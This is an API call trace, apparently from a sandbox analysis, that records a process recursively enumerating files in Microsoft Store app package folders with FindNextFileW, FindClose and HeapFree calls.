	[0090.978] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704a11ba, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.983] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0090.983] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704c73fb, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa457e69, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0090.986] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0090.986] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="News_LogoSmall.scale-100.png", cAlternateFileName="")) returned 1
	[0090.986] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0090.986] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d7904, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 0
	[0090.986] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0090.986] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0090.988] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0090.988] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0090.988] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705138c0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705138c0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x705138c0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x9572, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MarketConfiguration.xml", cAlternateFileName="")) returned 1
	[0090.989] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0090.989] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x705ac224, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45a502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0090.989] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0090.989] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0090.989] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705138c0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705138c0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70585fca, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x35acb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0090.992] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0090.992] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45e65c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FoodAndDrink", cAlternateFileName="FOODAN~1")) returned 1
	[0090.992] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0090.992] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45f23f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Health", cAlternateFileName="")) returned 1
	[0090.993] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0090.993] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45fd68, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="News", cAlternateFileName="")) returned 1
	[0090.993] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0090.993] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa4608e8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1
	[0090.993] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0090.993] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa461467, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 1
	[0090.994] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0090.994] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa461467, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 0
	[0090.994] FindClose (in: hFindFile=0x811b48 | out: hFindFile=0x811b48) returned 1
	[0090.994] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0090.994] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45ce6a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 0
	[0090.994] FindClose (in: hFindFile=0x811cc8 | out: hFindFile=0x811cc8) returned 1
	[0090.994] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0090.995] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45be97, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 0
	[0090.995] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0090.995] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0090.996] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa4624cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1
	[0090.998] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0090.998] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa464f0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0
	[0090.998] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0090.998] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0090.998] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa464150, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Glyphs", cAlternateFileName="")) returned 0
	[0090.998] FindClose (in: hFindFile=0x811f08 | out: hFindFile=0x811f08) returned 1
	[0090.998] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0090.998] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa463310, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0090.998] FindClose (in: hFindFile=0x812008 | out: hFindFile=0x812008) returned 1
	[0090.998] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0090.999] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa466063, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0091.111] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.111] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70775e5e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1
	[0091.123] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.123] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70775e5e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4413, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlatformConfiguration.xml", cAlternateFileName="")) returned 1
	[0091.170] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.170] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d5b50, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0091.170] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0091.170] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0091.170] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c254236, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa53d33a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI90D7~1.0_N")) returned 1
	[0091.171] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.171] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c27a365, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c27a365, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c27a365, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0091.171] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.171] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x608513a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa53f14b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0091.171] FindClose (in: hFindFile=0x811e08 | out: hFindFile=0x811e08) returned 1
	[0091.171] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0091.171] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2a05a2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d0219, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608775e5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI689D~1.0_X")) returned 1
	[0091.171] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.171] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c2c683a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0091.174] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0091.174] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c312cbd, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c2ab5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0091.176] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0091.176] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c338f0b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c338f0b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x13f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sports_LogoSmall.scale-100.png", cAlternateFileName="")) returned 1
	[0091.176] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.176] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x120f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatsLogo.png", cAlternateFileName="")) returned 1
	[0091.176] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.178] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0091.179] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.179] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3853b7, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c3853b7, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c3853b7, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x5ab7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MarketConfiguration.xml", cAlternateFileName="")) returned 1
	[0091.179] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.179] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c490576, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c51ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c490576, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0091.179] FindClose (in: hFindFile=0x811b48 | out: hFindFile=0x811b48) returned 1
	[0091.179] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.179] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3853b7, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c3853b7, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c46a340, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x35acb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0091.180] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.180] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73d444, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FoodAndDrink", cAlternateFileName="FOODAN~1")) returned 1
	[0091.180] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
